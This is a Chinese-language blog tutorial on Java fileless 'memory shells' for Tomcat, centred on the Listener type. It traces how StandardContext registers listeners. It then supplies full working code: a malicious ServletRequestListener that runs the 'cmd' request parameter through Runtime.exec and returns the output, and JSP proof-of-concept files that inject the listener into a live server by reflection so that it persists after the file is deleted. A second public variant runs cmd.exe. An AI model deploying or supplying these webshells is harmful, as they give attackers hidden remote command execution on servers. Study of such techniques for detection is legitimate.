内存马

定义

内存马,也被称为无文件马,是无文件攻击的一种常用手段。而无文件攻击呢顾名思义就是不利用shell文件进行攻击,但这里的无文件并不是真的意义上的“无文件”,而是一种攻击思路,是将恶意文件内容以脚本形式存在计算机中的内存注册表子项目中或者利用系统合法工具以逃避安全检测的方法。

分类

  • servlet-api类
    ○ listener型
    ○ filter型
    ○ servlet型
  • spring类
    ○ 拦截器
    ○ controller型
  • Java Instrumentation类
    ○ agent型

Listener

顾名思义就是监听器,他能够监听一些事件从而来达到一些效果。在请求网站的时候, 程序先执行listener监听器的内容:Listener -> Filter -> Servlet

Listener是最先被加载的, 所以可以利用动态注册恶意的Listener内存马。而Listener分为以下几种:

  • ServletContext,服务器启动和终止时触发
  • Session,有关Session操作时触发
  • Request,访问服务时触发

request只要访问服务就能触发,所以listener的request方式最适合做内存马

环境配置

idea配置tomcat_a大数据yyds的博客_idea tomcat

添加个Tomcat服务,里边这些选项不需修改的话默认即可

java 内存马 java内存马有哪些种类_java 内存马

File->Project Structure在Modules中我们可以看到我们项目Module。右键,Add一个Web。

java 内存马 java内存马有哪些种类_tomcat_02

添加好后设置好web.xml路径和index.jsp的路径

java 内存马 java内存马有哪些种类_安全_03

配置好Modules,我们再配置Artifacts。在Artifacts中,点击绿色加号。选择Web Application:Exploded,然后再选择我们刚配置的Moudules

java 内存马 java内存马有哪些种类_java 内存马_04

在Tomcat Server设置刚刚刚添加好的war_exploded即可

java 内存马 java内存马有哪些种类_tomcat_05

恶意Listener构造

Listener 必须实现 EventListener 接口

java 内存马 java内存马有哪些种类_java 内存马_06

可以看到有很多接口继承自 EventListener ,那么如果我们需要实现内存马的话就需要找一个每个请求都会触发的 Listener

java 内存马 java内存马有哪些种类_apache_07

找到了ServletRequestListener

public interface ServletRequestListener extends EventListener {
    default void requestDestroyed(ServletRequestEvent sre) {
    }

    default void requestInitialized(ServletRequestEvent sre) {
    }
}

用于监听ServletRequest对象的创建和销毁,当我们访问任意资源,无论是servlet、jsp还是静态资源,都会触发requestInitialized方法这里做个demo测试下

Listener.java

package memoryshell;

import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;

public class Listener implements ServletRequestListener {
    @Override
    public void requestDestroyed(ServletRequestEvent sre) {
        System.out.println("执行了TestListener requestDestroyed");
    }

    @Override
    public void requestInitialized(ServletRequestEvent sre) {
        System.out.println("执行了TestListener requestInitialized");
    }
}

web.xml,这里填写自己包的位置即可

<listener>
        <listener-class>memoryshell.Listener</listener-class>
</listener>

运行后成功执行我们预定义的方法

java 内存马 java内存马有哪些种类_安全_08

找到了适合的 Listener 之后,我们就可以在其基础上进行内存马的编写,所以接下来我们只需要解决以下两个问题就可以了

  1. 恶意代码写在哪里?
  2. Tomcat 中的 Listener 是如何实现注册的?

恶意代码写在System.out.println("执行了TestListener requestInitialized");这里就好了

而在Listener 这里提供了 ServletRequestEvent 类型的参数,从名字可推测出为 Servlet请求事件

public void requestInitialized(ServletRequestEvent sre) {}

做内存马那我们就需要获取传入的请求,即:cmd=whoami

http://localhost:8081/Java_Security_war_exploded/listener.jsp?cmd=whoami

所以我们需要寻找 sre 的一个方法来获取到请求,找到了getServletRequest 方法,根据名字也能看出获取request请求

跟进看一下,这里返回的类型是ServletRequest接口的实现类类型

java 内存马 java内存马有哪些种类_java 内存马_09

所以本地调试一下看看用到的是哪个实现类的类型

public void requestInitialized(ServletRequestEvent sre) {
    System.out.println(sre.getServletRequest());
}

返回的是RequestFacade类型

org.apache.catalina.connector.RequestFacade@791bd73a
执行了TestListener requestDestroyed

跟进之后发现request 属性中就有这我们需要的 Request类型,所以直接反射获取值即可

java 内存马 java内存马有哪些种类_tomcat_10

org.apache.catalina.connector.RequestFacade requestFacade = (RequestFacade) sre.getServletRequest();
    try {
        Field requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request");
        requestField.setAccessible(true);
        Request request = (Request) requestField.get(requestFacade);
        System.out.println(request);
    }catch (Exception e){
        e.printStackTrace();
    }

这里就直接构造好了我们需要的类型

java 内存马 java内存马有哪些种类_安全_11

最后把获取的参数值作为我们的 Runtime 的参数就可以了

package memoryshell;

import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;

import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import java.io.InputStream;
import java.lang.reflect.Field;

public class Listener implements ServletRequestListener {
    @Override
    public void requestDestroyed(ServletRequestEvent sre) {
        System.out.println("执行了TestListener requestDestroyed");
    }

    @Override
    public void requestInitialized(ServletRequestEvent sre) {
        String cmd;
        try {
            cmd = sre.getServletRequest().getParameter("cmd");
            org.apache.catalina.connector.RequestFacade requestFacade = (org.apache.catalina.connector.RequestFacade) sre.getServletRequest();
            Field requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request");
            requestField.setAccessible(true);
            Request request = (Request) requestField.get(requestFacade);
            Response response = request.getResponse();

            if (cmd != null){
                InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
                int i = 0;
                byte[] bytes = new byte[1024];
                while ((i=inputStream.read(bytes)) != -1){
                    response.getWriter().write(new String(bytes,0,i));
                    response.getWriter().write("\r\n");
                }
            }
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

直接执行命令

java 内存马 java内存马有哪些种类_安全_12

注册流程

listenerStart()

Listener 既然要被注册进并使用,所以期间肯定会实例化这个类,所以断点打在了class类和命令执行的部分

java 内存马 java内存马有哪些种类_java 内存马_13

直接跟到StandardContext#listenerStart 方法,在4660行进行了实例化,用到参数是listener而listener的值是从listeners来的,listeners又是通过findApplicationListeners()获取的,最后又传入了results中

java 内存马 java内存马有哪些种类_java_14

findApplicationListeners()返回的是applicationListeners属性

public String[] findApplicationListeners() {
    return applicationListeners;
}

它的值就是我们web.xml写入的值

java 内存马 java内存马有哪些种类_java 内存马_15

接着往下看,首先遍历了 results 数组,然后在 for 循环中根据不同类型的 Listener 添加到了不同的数组中,这里我们的 ServletListener 属于第一个判断,所以被添加到了 eventListeners 数组中

ArrayList<Object> eventListeners = new ArrayList<>();
ArrayList<Object> lifecycleListeners = new ArrayList<>();
for (int i = 0; i < results.length; i++) {
    if ((results[i] instanceof ServletContextAttributeListener)
        || (results[i] instanceof ServletRequestAttributeListener)
        || (results[i] instanceof ServletRequestListener)
        || (results[i] instanceof HttpSessionIdListener)
        || (results[i] instanceof HttpSessionAttributeListener)) {
        eventListeners.add(results[i]);
    }
    if ((results[i] instanceof ServletContextListener)
        || (results[i] instanceof HttpSessionListener)) {
        lifecycleListeners.add(results[i]);
    }
}

接下来调用 getApplicationEventListeners 函数来获取 applicationEventListenersList 属性(即已注册的 Listener),之后存储到eventListeners中,在经过setApplicationEventListeners()进行设置

java 内存马 java内存马有哪些种类_java_16

跟进setApplicationEventListeners(),先通过clear()清空,在将传入的listeners重新赋值给它

public void setApplicationEventListeners(Object listeners[]) {
    applicationEventListenersList.clear();
    if (listeners != null && listeners.length > 0) {
        applicationEventListenersList.addAll(Arrays.asList(listeners));
    }
}

applicationEventListenersList 是List<Object> 类型的所以这里面存放的都是实例化后的 listener

private List<Object> applicationEventListenersList = new CopyOnWriteArrayList<>();

至此listenerStart就结束了,这部分主要就是进行了listener的存储

fireRequestInitEvent()

在存储后就需要找个触发点,找到了fireRequestInitEvent()这里,最后调用了requestInitialized(event);,也就是我们在listener构造时触发的地方,所以可以通过listener恶意执行代码

java 内存马 java内存马有哪些种类_安全_17

listener是通过instances赋值来了,而instances则是getApplicationEventListeners()的返回值,这就联系到了前边listenerStart()中通过该方法进行存储的地方

public Object[] getApplicationEventListeners() {
    return applicationEventListenersList.toArray();
}

poc构造

<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.List" %>
<%@ page import="java.util.Arrays" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.ArrayList" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%!

    class Listen implements ServletRequestListener {

        @Override
        public void requestInitialized(ServletRequestEvent sre) {
            String cmd;
            try {
                cmd = sre.getServletRequest().getParameter("cmd");
                org.apache.catalina.connector.RequestFacade requestFacade = (org.apache.catalina.connector.RequestFacade) sre.getServletRequest();
                Field requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request");
                requestField.setAccessible(true);
                Request request = (Request) requestField.get(requestFacade);
                Response response = request.getResponse();

                if (cmd != null){
                    InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
                    int i = 0;
                    byte[] bytes = new byte[1024];
                    while ((i=inputStream.read(bytes)) != -1){
                        response.getWriter().write(new String(bytes,0,i));
                        response.getWriter().write("\r\n");
                    }
                }
            }catch (Exception e){
                e.printStackTrace();
            }
        }

        @Override
        public void requestDestroyed(ServletRequestEvent sre) {
        }
    }
%>

<%
    ServletContext servletContext =  request.getServletContext();
    Field applicationContextField = servletContext.getClass().getDeclaredField("context");
    applicationContextField.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);

    Field standardContextField = applicationContext.getClass().getDeclaredField("context");
    standardContextField.setAccessible(true);
    StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

    Object[] objects = standardContext.getApplicationEventListeners();
    List<Object> listeners = Arrays.asList(objects);
    List<Object> arrayList = new ArrayList(listeners);
    arrayList.add(new Listen());
    standardContext.setApplicationEventListeners(arrayList.toArray());

%>

java 内存马 java内存马有哪些种类_tomcat_18

此时将listen.jsp删除后命令仍可以执行,重启服务器后内存马就不在了

附上网络上公开的内存马:

方式一:

<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext context = (StandardContext) req.getContext();
%>

方式二:

WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
    StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

test.jsp

<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.IOException" %>

<%!
    public class MyListener implements ServletRequestListener {
        public void requestDestroyed(ServletRequestEvent sre) {
            HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
            if (req.getParameter("cmd") != null){
                InputStream in = null;
                try {
                    in = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream();
                    Scanner s = new Scanner(in).useDelimiter("\\A");
                    String out = s.hasNext()?s.next():"";
                    Field requestF = req.getClass().getDeclaredField("request");
                    requestF.setAccessible(true);
                    Request request = (Request)requestF.get(req);
                    request.getResponse().getWriter().write(out);
                }
                catch (IOException e) {}
                catch (NoSuchFieldException e) {}
                catch (IllegalAccessException e) {}
            }
        }

        public void requestInitialized(ServletRequestEvent sre) {}
    }
%>

<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext context = (StandardContext) req.getContext();
    MyListener listenerDemo = new MyListener();
    context.addApplicationEventListener(listenerDemo);
%>